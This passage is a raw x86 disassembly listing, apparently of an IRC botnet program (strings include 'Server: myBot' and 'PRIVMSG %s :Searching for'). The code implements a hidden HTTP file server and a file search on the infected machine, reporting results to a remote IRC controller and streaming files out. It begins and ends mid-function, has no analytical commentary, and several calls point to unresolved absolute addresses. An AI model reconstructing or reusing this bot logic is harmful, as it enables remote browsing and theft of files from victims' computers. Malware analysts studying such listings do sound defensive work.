		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2670CEEh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F09D7h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730AA1h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26508ACh


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2660F23h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2750371h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27407E4h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2660F23h


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2750371h
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F09D7h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2730AA1h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 26508ACh
		nop


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
